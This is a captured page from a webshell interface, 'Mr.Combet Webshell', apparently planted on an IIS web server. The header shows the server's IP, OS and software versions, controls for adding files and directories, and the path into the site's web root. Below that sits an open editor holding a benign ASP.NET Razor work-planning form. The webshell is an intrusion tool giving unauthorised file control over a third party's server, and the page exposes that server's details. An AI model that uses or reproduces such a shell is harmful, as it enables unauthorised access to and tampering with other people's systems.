Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
VITA
/
Views
/
WorkPlan
/
Edit File Name :
_LevelTwoWorkPlan.cshtml
@model RER_Project.DataAccess.ViewModels.WorkPlan.WorkPlanViewModel <style> .months-form-group .col-md-1 { padding-right: 0 } .amount-form-group .col-md-1 { padding-right: 0px; } .btn { border-radius: 0px; } .planning { padding: 0px; } .modal { text-align: center; padding: 0 !important; } .modal:before { content: ''; display: inline-block; height: 100%; vertical-align: middle; margin-right: -4px; } .modal-dialog { display: inline-block; text-align: left; vertical-align: middle; } .messageToast { position: absolute; top: 190px; width: 250px; right: 550px; height: auto; } </style> <div class="modal-dialog equal-label-width"> <div class="modal-content" style="width:1100px"> <div class="modal-header"> <span class="close" id="closeMember" data-dismiss="modal" aria-hidden="true">×</span> <label style="font-size:medium;"> <b> <u>Create WorkPlan For Level 2 for activity: @Model.WorkPlanLevelOne.Activity</u> <br /> <br /> Fiscal Year: @Model.WorkPlanLevelOne.FiscalYear </b> <b>Unit:</b> @Model.WorkPlanLevelOne.UnitName </label> @* <label><b>Unit:</b> @Model.WorkPlanLevelOne.UnitName</label><br />*@ @*<label><b>First Quadri:</b> @Model.WorkPlanLevelOne.FirstQuadQuantity</label> <label><input type="text" id="sub_total" class="form-control sub_total" name="sub_total" placeholder="0" value="0" readonly /></label> <label><b>Second Quadri:</b> @Model.WorkPlanLevelOne.SecondQuadQuantity</label> <label><input type="text" id="sub_total1" class="form-control sub_total1" name="sub_total1" placeholder="0" value="0" readonly /></label> <label><b>Third Quadri:</b> @Model.WorkPlanLevelOne.ThirdQuadQuantity</label> <label><input type="text" id="sub_total2" class="form-control sub_total2" name="sub_total2" placeholder="0" value="0" readonly /></label>*@ <div class="row"> <div class="col-lg-6"> <table class="table table-condensed table-bordered" style="padding:0px"> <thead> <tr> <th></th> <th>First Quarter</th> <th>Second Quarter</th> <th>Third Quarter</th> <th>Fourth Quarter</th> </tr> </thead> <tbody> <tr> <td> <strong>Target Qty</strong> </td> <td> @Model.WorkPlanLevelOne.FirstQuadQuantity </td> <td> @Model.WorkPlanLevelOne.SecondQuadQuantity </td> <td> @Model.WorkPlanLevelOne.ThirdQuadQuantity </td> <td> @Model.WorkPlanLevelOne.FourthQuadQuantity </td> </tr> <tr> <td> <strong>Total Allocated Qty</strong> </td> <td> <span class="sub_total"></span> @* <input type="text" id="sub_total" class="form-control sub_total" name="sub_total" placeholder="0" value="0" readonly />*@ </td> <td> <span class="sub_total1"></span> @* <input type="text" id="sub_total" class="form-control sub_total1" name="sub_total" placeholder="0" value="0" readonly />*@ </td> <td> <span class="sub_total2"></span> @* <input type="text" id="sub_total" class="form-control sub_total2" name="sub_total" placeholder="0" value="0" readonly />*@ </td> <td> <span class="sub_total3"></span> @* <input type="text" id="sub_total" class="form-control sub_total3" name="sub_total" placeholder="0" value="0" readonly />*@ </td> </tr> <tr> <td> <strong>Remaining Qty</strong> </td> <td> <span class="sub_total" id="remaining1"></span> @* <input type="text" id="sub_total" class="form-control sub_total" name="sub_total" placeholder="0" value="0" readonly />*@ </td> <td> <span class="sub_total1" id="remaining2"></span> @* <input type="text" id="sub_total" class="form-control sub_total1" name="sub_total" placeholder="0" value="0" readonly />*@ </td> <td> <span class="sub_total2" id="remaining3"></span> @* <input type="text" id="sub_total" class="form-control sub_total2" name="sub_total" placeholder="0" value="0" readonly />*@ </td> <td> <span class="sub_total3" id="remaining4"></span> @* <input type="text" id="sub_total" class="form-control sub_total3" name="sub_total" placeholder="0" value="0" readonly />*@ </td> </tr> </tbody> </table> </div> </div> </div> <div class="modal-body"> <form id="CreateAnnualActivityPlanning"> <div id="eror_msg"></div> <input type="hidden" name="WorkPlanId" id="WorkPlanId" value="@Model.WorkPlanLevelOne.WorkPlanId" /> <input type="hidden" name="Id" id="Id" value="@Model.WorkPlanLevelOne.Id" /> <input type="hidden" name="ActivityId" id="ActivityId" value="@Model.WorkPlanLevelOne.ActivityId" /> <input type="hidden" name="AssignedBy" id="AssignedBy" value="@Model.WorkPlanLevelOne.AssignedTo" /> <input type="hidden" name="UnitId" id="UnitId" value="@Model.WorkPlanLevelOne.UnitId" /> <input type="hidden" name="FirstQuadQuantity" id="FirstQuadQuantity" value="@Model.WorkPlanLevelOne.FirstQuadQuantity" /> <input type="hidden" name="SecondQuadQuantity" id="SecondQuadQuantity" value="@Model.WorkPlanLevelOne.SecondQuadQuantity" /> <input type="hidden" name="ThirdQuadQuantity" id="ThirdQuadQuantity" value="@Model.WorkPlanLevelOne.ThirdQuadQuantity" /> <input type="hidden" name="FourthQuadQuantity" id="FourthQuadQuantity" value="@Model.WorkPlanLevelOne.FourthQuadQuantity" /> <input type="hidden" name="FiscalYear" id="FiscalYear" value="@Model.WorkPlanLevelOne.FiscalYear" /> <div class="row"> <div class="form-group col-md-4"> <label><strong>Task Assigned To</strong></label> <select type="text" class="form-control required clear" name="PriorityActivityOneSupport" id="PriorityActivityOneSupport" data-api="/user-level-two/select"></select> <input type="hidden" id="SelectedPriorityActivityOneSupport" name="SelectedPriorityActivityOneSupport" /> <div class="messageToast"></div> </div> </div> <div class="row"> <div class="form-group col-md-2"> <label><strong>Shrawn</strong></label> <input type="text" onkeypress="return isNumberKey(this,event)" maxlength="4" id="ShrawanQ" name="ShrawanQ" class="form-control clear" /> </div> <div class="form-group col-md-2"> <label><strong>Bhadra</strong></label> <input type="text" onkeypress="return isNumberKey(this,event)" maxlength="4" id="BhadraQ" name="BhadraQ" class="form-control clear" /> </div> <div class="form-group col-md-2"> <label><strong>Asoj</strong></label> <input type="text" onkeypress="return isNumberKey(this,event)" maxlength="4" id="AsojQ" name="AsojQ" class="form-control clear" /> </div> <div class="form-group col-md-2"> <label><strong>Kartik</strong></label> <input type="text" onkeypress="return isNumberKey(this,event)" maxlength="4" id="KartikQ" name="KartikQ" class="form-control clear" /> </div> <div class="form-group col-md-2"> <label><strong>Mangshir</strong></label> <input type="text" onkeypress="return isNumberKey(this,event)" maxlength="4" id="MangsirQ" name="MangsirQ" class="form-control clear" /> </div> <div class="form-group col-md-2"> <label><strong>Poush</strong></label> <input type="text" onkeypress="return isNumberKey(this,event)" maxlength="4" s id="PoushQ" name="PoushQ" class="form-control clear" /> </div> </div> <div class="row"> <div class="form-group col-md-2"> <label><strong>Magh</strong></label> <input type="text" onkeypress="return isNumberKey(this,event)" maxlength="4" id="MaghQ" name="MaghQ" class="form-control clear" /> </div> <div class="form-group col-md-2"> <label><strong>Falgun</strong></label> <input type="text" onkeypress="return isNumberKey(this,event)" maxlength="4" id="FalgunQ" name="FalgunQ" class="form-control clear" /> </div> <div class="form-group col-md-2"> <label><strong>Chaitra</strong></label> <input type="text" onkeypress="return isNumberKey(this,event)" maxlength="4" id="ChaitraQ" name="ChaitraQ" class="form-control clear" /> </div> <div class="form-group col-md-2"> <label><strong>Baishakh</strong></label> <input type="text" onkeypress="return isNumberKey(this,event)" maxlength="4" id="BaishakhQ" name="BaishakhQ" class="form-control clear" /> </div> <div class="form-group col-md-2"> <label><strong>Jestha</strong></label> <input type="text" onkeypress="return isNumberKey(this,event)" maxlength="4" id="JesthaQ" name="JesthaQ" class="form-control clear" /> </div> <div class="form-group col-md-2"> <label><strong>Ashar</strong></label> <input type="text" onkeypress="return isNumberKey(this,event)" maxlength="4" id="AsarQ" name="AsarQ" class="form-control clear" /> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label>Remarks</label> <input type="text" id="PriorityActivityOne" name="PriorityActivityOne" class="form-control required clear" /> </div> <div class="form-group col-md-1"> <label class="align-label-btm"> </label> <a onclick="addPlanningQty()" class="btn btn-sm btn-primary">Add</a> </div> </div> <div class="row"> <div class="table-responsive" style="margin-top:16px;"> <table class="footable table table-hover" id="AnnualActivityPlaningTable"> <thead> <tr> <th>Assigned To</th> <th>Shrawan</th> <th>Bhadra</th> <th>Asoj</th> <th>Karthik</th> <th>Mangshir</th> <th>Poush</th> <th>Magh</th> <th>Falgun</th> <th>Chaitra</th> <th>Baishakh</th> <th>Jestha</th> <th>Ashar</th> <th>Remarks</th> <th>Action</th> </tr> </thead> <tbody> @foreach (var item in Model.WorkPlanLevelTwoViewsList) { <tr> <td>@item.PriorityActivityOneSupportName<input type=hidden name='PriorityActivityOneSupport' value="@item.PriorityActivityOneSupport" /></td> <td><input type="number" class="form-control txt" pattern='d *' min="0" maxlength='4' oninput="validity.valid || (value = '');" step='1' value="@item.ShrawanQ" onchange="calcSub()"></td> <td><input type="number" class="form-control txt" pattern='d *' min="0" maxlength='4' oninput="validity.valid || (value = '');" step='1' value="@item.BhadraQ" onchange="calcSub()"></td> <td><input type="number" class="form-control txt" pattern='d *' min="0" maxlength='4' oninput="validity.valid || (value = '');" step='1' value="@item.AsojQ" onchange="calcSub()"></td> <td><input type="number" class="form-control txt1" pattern='d *' min="0" maxlength='4' oninput="validity.valid || (value = '');" step='1' value="@item.KartikQ" onchange="calcSub()"></td> <td><input type="number" class="form-control txt1" pattern='d *' min="0" maxlength='4' oninput="validity.valid || (value = '');" step='1' value="@item.MangsirQ" onchange="calcSub()"></td> <td><input type="number" class="form-control txt1" pattern='d *' min="0" maxlength='4' oninput="validity.valid || (value = '');" step='1' value="@item.PoushQ" onchange="calcSub()"></td> <td><input type="number" class="form-control txt2" pattern='d *' min="0" maxlength='4' oninput="validity.valid || (value = '');" step='1' value="@item.MaghQ" onchange="calcSub()"></td> <td><input type="number" class="form-control txt2" pattern='d *' min="0" maxlength='4' oninput="validity.valid || (value = '');" step='1' value="@item.FalgunQ" onchange="calcSub()"></td> <td><input type="number" class="form-control txt2" pattern='d *' min="0" maxlength='4' oninput="validity.valid || (value = '');" step='1' value="@item.ChaitraQ" onchange="calcSub()"></td> <td><input type="number" class="form-control txt3" pattern='d *' min="0" maxlength='4' oninput="validity.valid || (value = '');" step='1' value="@item.BaishakhQ" onchange="calcSub()"></td> <td><input type="number" class="form-control txt3" pattern='d *' min="0" maxlength='4' oninput="validity.valid || (value = '');" step='1' value="@item.JesthaQ" onchange="calcSub()"></td> <td><input type="number" class="form-control txt3" pattern='d *' min="0" maxlength='4' oninput="validity.valid || (value = '');" step='1' value="@item.AsarQ" onchange="calcSub()"></td> <td>@item.PriorityActivityOne</td> <td> <a onclick="deleteRow(this)" class="btn btn-default btn-xs" title="Delete"><i class="fa fa-remove" style='color: red;'></i></a> </td> </tr> } </tbody> </table> </div> </div> <div class="row"> <div class="pull-right"> <input type="button" value="Save" class="btn btn-primary" id="SubmitButton" /> <input type="button" value="Cancel" class="btn btn-danger" data-dismiss="modal" aria-hidden="true" /> </div> </div> </form> </div> </div> </div> <link href="https://cdn.jsdelivr.net/npm/select2@4.0.13/dist/css/select2.min.css" rel="stylesheet" /> <script src="https://cdn.jsdelivr.net/npm/select2@4.0.13/dist/js/select2.min.js"></script> <script type="text/javascript"> $(document).ready(function () { window.initializeSelectApis(); window.initializeCascadeComponent(); calcSub(); var AssignedTo = $('#PriorityActivityOneSupport'); //$(AssignedTo).select2({ // multiple: false, // allowClear: true, //}).change(function () { // var selectedAssignedTo = $.map($(AssignedTo).select2('data'), function (val, i) { // return val.id; // }).join(","); // $('#SelectedPriorityActivityOneSupport').val(selectedAssignedTo); //}); }); var workplanleveloneid = $("#Id").val(); var workplanId = $("#WorkPlanId").val(); var activityId = $("#ActivityId").val(); var assignedBy = $("#AssignedBy").val(); var a = $("#AssignedBy").val(); debugger console.log(assignedBy);// $("#AssignedBy").val(); var unitId = $("#UnitId").val(); var f = $("#FirstQuadQuantity").val(); var s = $("#SecondQuadQuantity").val(); var t = $("#ThirdQuadQuantity").val(); function checkIfExist(assigned, el) { var exists = false; el.find("tr").each(function () { var assignedby = $(this).find("input[name='SelectedPriorityActivityOneSupport']").val(); var assignedBydropdown = assigned.val(); if (assignedby === assignedBydropdown) { exists = true; return; } }); return exists; } function calcSub() { var sum = 0; var sum1 = 0; var sum2 = 0; var sum3 = 0; //iterate through each textboxes and add the values $(".txt").each(function () { //add only if the value is number if (!isNaN(this.value) && this.value.length != 0) { sum += parseFloat(this.value); $(this).css("background-color", "#FEFFB0"); } else if (this.value.length != 0) { $(this).css("background-color", "red"); } }); var one = false; one = checkForQuadtriValues(sum,@Model.WorkPlanLevelOne.FirstQuadQuantity, 'First Quarter Quantity'); if (one != true) { return false; } $(".txt1").each(function () { //add only if the value is number if (!isNaN(this.value) && this.value.length != 0) { sum1 += parseFloat(this.value); $(this).css("background-color", "#FEFFB0"); } else if (this.value.length != 0) { $(this).css("background-color", "red"); } }); one = checkForQuadtriValues(sum1,@Model.WorkPlanLevelOne.SecondQuadQuantity, 'Second Quarter Quantity'); if (one != true) { return false; } $(".txt2").each(function () { //add only if the value is number if (!isNaN(this.value) && this.value.length != 0) { sum2 += parseFloat(this.value); $(this).css("background-color", "#FEFFB0"); } else if (this.value.length != 0) { $(this).css("background-color", "red"); } }); one = checkForQuadtriValues(sum2,@Model.WorkPlanLevelOne.ThirdQuadQuantity, 'Third Quarter Quantity'); if (one != true) { return false; } $(".txt3").each(function () { //add only if the value is number if (!isNaN(this.value) && this.value.length != 0) { sum3 += parseFloat(this.value); $(this).css("background-color", "#FEFFB0"); } else if (this.value.length != 0) { $(this).css("background-color", "red"); } }); one = checkForQuadtriValues(sum3,@Model.WorkPlanLevelOne.FourthQuadQuantity, 'Fourth Quarter Quantity'); if (one != true) { return false; } $(".sub_total").text(sum); $(".sub_total1").text(sum1); $(".sub_total2").text(sum2); $(".sub_total3").text(sum3); $("#remaining1").text(@Model.WorkPlanLevelOne.FirstQuadQuantity - sum); $("#remaining2").text(@Model.WorkPlanLevelOne.SecondQuadQuantity - sum1); $("#remaining3").text(@Model.WorkPlanLevelOne.ThirdQuadQuantity - sum2); $("#remaining4").text(@Model.WorkPlanLevelOne.FourthQuadQuantity - sum3); return true; }; function checkForQuadtriValues(sum,a,b) { if (sum > a) { //ShowMessage("error", "Check your values of " + b + "."); toastr.options = { "closeButton": true, "debug": false, "positionClass": "messageToast", "showDuration": "2000", "hideDuration": "1000", "timeOut": "5000", "extendedTimeOut": "1000", "showEasing": "swing", "hideEasing": "linear", "showMethod": "fadeIn", "hideMethod": "fadeOut" } toastr["error"]("Values for " + b + " has exceed than the assigned value."); return false; } return true; } function addPlanningQty() { const form = $("#CreateAnnualActivityPlanning"); var table = $('#AnnualActivityPlaningTable tbody'); const assignedBy = $("#PriorityActivityOneSupport option:selected"); const priorityActivityOneSupport = $("#PriorityActivityOneSupport option:selected"); $.validator.unobtrusive.parse(form); if (!form.valid()) { return false; } if (checkIfExist(assignedBy, table)) { ShowMessage("error", "The selected user already exists."); return false; }; const model = window.serializeForm(form); var row = "<tr>"; row += "<td style='padding-top:15 px'><strong>" + priorityActivityOneSupport.text() + "</strong><input type=hidden name='PriorityActivityOneSupport' value=" + priorityActivityOneSupport.val() + "></td>"; row += "<td><input type='number' id='ShrawanQ' pattern='d *' maxlength='4' oninput='validity.valid || (value = '');' step='1' class='form-control txt' value='" + model.ShrawanQ + "' onchange='calcSub()'/></td>" row += "<td><input type='number' id='BhadraQ' pattern='d *' maxlength='4' oninput='validity.valid || (value = '');' step='1' class='form-control txt' value='" + model.BhadraQ + "' onchange='calcSub()'/></td>" row += "<td><input type='number' id='AsojQ' pattern='d *' maxlength='4' oninput='validity.valid || (value = '');' step='1' class='form-control txt' value='" + model.AsojQ + "' onchange='calcSub()'/></td>" row += "<td><input type='number' id='KartikQ' pattern='d *' maxlength='4' oninput='validity.valid || (value = '');' step='1' class='form-control txt1' value='" + model.KartikQ + "' onchange='calcSub()'/></td>" row += "<td><input type='number' id='MangsirQ' pattern='d *' maxlength='4' oninput='validity.valid || (value = '');' step='1' class='form-control txt1' value='" + model.MangsirQ + "' onchange='calcSub()'/></td>" row += "<td><input type='number' id='PoushQ' pattern='d *' maxlength='4' oninput='validity.valid || (value = '');' step='1' class='form-control txt1' value='" + model.PoushQ + "' onchange='calcSub()'/></td>" row += "<td><input type='number' id='MaghQ' pattern='d *' maxlength='4' oninput='validity.valid || (value = '');' step='1' class='form-control txt2' value='" + model.MaghQ + "' onchange='calcSub()'/></td>" row += "<td><input type='number' id='FalgunQ' pattern='d *' maxlength='4' oninput='validity.valid || (value = '');' step='1' class='form-control txt2' value='" + model.FalgunQ + "' onchange='calcSub()'/></td>" row += "<td><input type='number' id='ChaitraQ' pattern='d *' maxlength='4' oninput='validity.valid || (value = '');' step='1' class='form-control txt2' value='" + model.ChaitraQ + "' onchange='calcSub()'/></td>" row += "<td><input type='number' id='BaishakhQ' pattern='d *' maxlength='4' oninput='validity.valid || (value = '');' step='1' class='form-control txt3' value='" + model.BaishakhQ + "' onchange='calcSub()'/></td>" row += "<td><input type='number' id='JesthaQ' pattern='d *' maxlength='4' oninput='validity.valid || (value = '');' step='1' class='form-control txt3' value='" + model.JesthaQ + "' onchange='calcSub()'/></td>" row += "<td><input type='number' id='AsarQ' pattern='d *' maxlength='4' oninput='validity.valid || (value = '');' step='1' class='form-control txt3' value='" + model.AsarQ + "' onchange='calcSub()'/></td>" row += "<td>" + model.PriorityActivityOne + "</td>"; row += "<td><a class='btn btn-default btn-xs' onclick='deleteRow(this)' title='Delete'><i class='fa fa-remove' style='color: red;'></i></a></td>" table.append(row); debugger if (calcSub() == true) { clearAll(); } else { $('#AnnualActivityPlaningTable tr:last').remove(); } } function deleteRow(e) { debugger $(e).closest("tr").remove(); }; function clearAll() { $('.clear').val(''); } function annualActivityPlanningList() { var annualActivityPlanninglist = []; $("#AnnualActivityPlaningTable tbody tr").each(function () { var fy = $("#FiscalYear").val(); const pactivity1 = $(this).find("td:eq(0)").find("input[type='hidden']").val(); const shrawan = $(this).find("td:eq(1)").find("input[type='number']").val(); const bhadra = $(this).find("td:eq(2)").find("input[type='number']").val(); const asoj = $(this).find("td:eq(3)").find("input[type='number']").val(); const kartik = $(this).find("td:eq(4)").find("input[type='number']").val(); const mangsir = $(this).find("td:eq(5)").find("input[type='number']").val(); const poush = $(this).find("td:eq(6)").find("input[type='number']").val(); const magh = $(this).find("td:eq(7)").find("input[type='number']").val(); const falgun = $(this).find("td:eq(8)").find("input[type='number']").val(); const chaitra = $(this).find("td:eq(9)").find("input[type='number']").val(); const baishakh = $(this).find("td:eq(10)").find("input[type='number']").val(); const jestha = $(this).find("td:eq(11)").find("input[type='number']").val(); const asar = $(this).find("td:eq(12)").find("input[type='number']").val(); const p1 = $(this).find("td:eq(13)").text(); const componentId = @Model.WorkPlanLevelOne.ComponentId; const subComponentId = @Model.WorkPlanLevelOne.SubComponentId; const fiscalYearId = @Model.WorkPlanLevelOne.FiscalYearId; debugger; annualActivityPlanninglist.push({ ComponentId: componentId, SubComponentId: subComponentId, FiscalYearId: fiscalYearId, WorkPlanLevelOneId: workplanleveloneid, WorkPlanId: workplanId, ActivityId: activityId, ShrawanQ: shrawan, BhadraQ: bhadra, AsojQ: asoj, KartikQ: kartik, MangsirQ: mangsir, PoushQ: poush, MaghQ: magh, FalgunQ: falgun, ChaitraQ: chaitra, BaishakhQ: baishakh, JesthaQ: jestha, AsarQ: asar, PriorityActivityOne: p1, PriorityActivityOneSupport: pactivity1, AssignedBy: assignedBy, FiscalYear: fy }); }); debugger return annualActivityPlanninglist; }; //$('.total').on('change', function (e) { // debugger // var shrawan = parseInt($('#ShrawanQ').val()); // var bhadra = parseInt($('#BhadraQ').val()); // var asoj = parseInt($('#AsojQ').val()); // var kartik = parseInt($('#KartikQ').val()); // var total1 = shrawan + bhadra + asoj + kartik; // var total2 = f; // if (total1 && total2) { // if (total1 != total2) { // ShowMessage("error", "The values doesnt match with First Quadtri"); // } // else { // return true; // } // } // return false; //}); $("#SubmitButton").off("click").on("click", function () { if (calcSub() == true) { function request(model) { const url = "/workplan/create/leveltwo"; const data = JSON.stringify(model); return window.getAjaxRequest(url, "POST", data); }; const form = $("#CreateAnnualActivityPlanning"); $.validator.unobtrusive.parse(form); if (!window.confirmAction()) { return; }; //var results = annualActivityPlanningList(); //debugger; //return; WorkForce.loader.show(); function getModel() { return ({ WorkPlanLevelTwos: annualActivityPlanningList(), WorkPlanLevelOneId: workplanleveloneid, WorkPlanId: workplanId, ActivityId: activityId, UnitId: unitId }); }; const model = getModel(); debugger const ajax = request(model); ajax.done(function (response) { WorkForce.loader.hide(); showNotification("success"); window.location = "/workplan/activities"; }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("error", xhr.responseText); }); } }); function isNumberKey(element, evt) { var charCode = (evt.which) ? evt.which : event.keyCode if (charCode > 31 && (charCode < 48 || charCode > 57) && !(charCode == 46 || charCode == 8)) return false; else { var len = $(element).val().length; var index = $(element).val().indexOf('.'); if (index > 0 && charCode == 46) { return false; } if (index > 0) { var CharAfterdot = (len + 1) - index; if (CharAfterdot > 3) { return false; } } } return true; } </script>
Save